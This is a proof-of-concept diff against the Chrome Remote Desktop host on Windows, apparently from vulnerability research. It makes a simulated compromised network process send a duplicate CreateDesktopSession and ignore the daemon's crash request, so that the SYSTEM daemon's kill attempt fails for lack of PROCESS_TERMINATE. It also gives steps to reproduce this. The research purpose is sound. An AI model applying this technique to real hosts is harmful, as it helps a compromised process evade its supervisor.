Strategy B (renderer-style code injection) patch for the CRD low-IL network
process on Windows. This simulates a compromised network process that:
  (a) sends a protocol-violating CreateDesktopSession to make the SYSTEM
      daemon call CrashNetworkProcess(), and
  (b) ignores the resulting WorkerProcessControl::CrashProcess Mojo so the
      process survives until the daemon's 5 s kill_process_timer_ fires
      KillProcess() on the PROCESS_TERMINATE-less handle.

Apply on a Windows checkout, build the CRD host, install/run the service,
let one remote-desktop session connect (so terminal_id 0 is allocated),
then watch the SYSTEM daemon log + Process Explorer.

--- a/remoting/host/remoting_me2me_host.cc
+++ b/remoting/host/remoting_me2me_host.cc
@@ -2199,7 +2199,11 @@ void HostProcess::CrashProcess(const std::string& function_name,
                                const std::string& file_name,
                                int line_number) {
   // The daemon requested us to crash the process.
-  ::remoting::CrashProcess(function_name, file_name, line_number);
+  // POC: simulate a compromised network process that refuses to self-crash.
+  // The daemon will fall back to kill_process_timer_ (5 s) ->
+  // UnprivilegedProcessDelegate::KillProcess(), whose TerminateProcess() call
+  // fails with ERROR_ACCESS_DENIED because the stored handle lacks
+  // PROCESS_TERMINATE.
+  LOG(ERROR) << "POC: ignoring CrashProcess(" << function_name << ")";
 }

 int HostProcessMain(bool multi_process) {
--- a/remoting/host/ipc_desktop_environment.cc
+++ b/remoting/host/ipc_desktop_environment.cc
@@ -253,6 +253,13 @@ void IpcDesktopEnvironmentFactory::ConnectTerminal(
   VLOG(1) << "Network: registered desktop session " << id;

   desktop_session_manager_->CreateDesktopSession(id, std::move(options));
+
+  // POC: immediately re-send CreateDesktopSession for the same terminal_id.
+  // DaemonProcess::CreateDesktopSession() sees WasTerminalIdAllocated(id) ==
+  // true and calls CrashNetworkProcess(FROM_HERE) (daemon_process.cc:197-200).
+  LOG(ERROR) << "POC: re-sending CreateDesktopSession(" << id
+             << ") to provoke CrashNetworkProcess in SYSTEM daemon";
+  desktop_session_manager_->CreateDesktopSession(id, mojom::ScreenOptions::New());
 }